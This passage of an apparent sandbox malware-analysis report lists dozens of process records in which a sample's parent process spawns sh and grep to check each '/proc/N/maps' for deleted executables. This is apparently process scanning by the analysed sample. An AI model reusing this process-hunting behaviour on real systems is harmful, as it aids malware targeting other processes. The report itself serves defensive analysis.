Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6259, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/109/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6262, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6262, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/11/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6263, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6263, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/110/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6264, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6264, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/111/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6265, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6265, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/112/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6266, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6266, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/113/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6267, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6267, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/114/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6268, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6268, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/115/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6269, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6269, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/116/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6270, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6270, Parent PID: 6239

General

Start time (UTC):	20:31:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/117/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6271, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6271, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/118/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6272, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6272, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/119/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6273, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6273, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/12/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6274, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6274, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/120/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6275, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6275, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1207/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6276, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6276, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/121/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6277, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6277, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/122/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6278, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6278, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/123/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6279, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6279, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/124/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6280, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6280, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/125/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6281, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6281, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/126/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6282, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6282, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/127/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6283, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6283, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/128/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6284, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6284, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/13/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6285, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6285, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/130/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6286, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6286, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/132/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6287, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6287, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1320/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6288, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6288, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1334/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6289, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6289, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1335/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6290, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6290, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1344/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6291, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6291, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1349/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6292, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6292, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1389/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6293, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6293, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/14/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6294, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6294, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/141/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6295, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6295, Parent PID: 6239

General

Start time (UTC):	20:31:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/144/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6296, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6296, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1463/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6297, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6297, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1465/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6298, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6298, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1475/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6299, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6299, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1476/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6300, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6300, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1477/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6301, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6301, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1489/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6302, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6302, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1494/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6303, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6303, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/15/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6304, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6304, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1532/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6305, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6305, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/157/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6311, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6311, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1576/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6313, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6313, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1579/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6314, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6314, Parent PID: 6239

General

Start time (UTC):	20:31:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1582/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6315, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6315, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1586/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6316, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6316, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1594/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6317, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6317, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1599/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6318, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6318, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/16/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6319, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6319, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1601/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6320, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6320, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/1612/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6321, Parent PID: 6239

General

Start time (UTC):	20:32:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
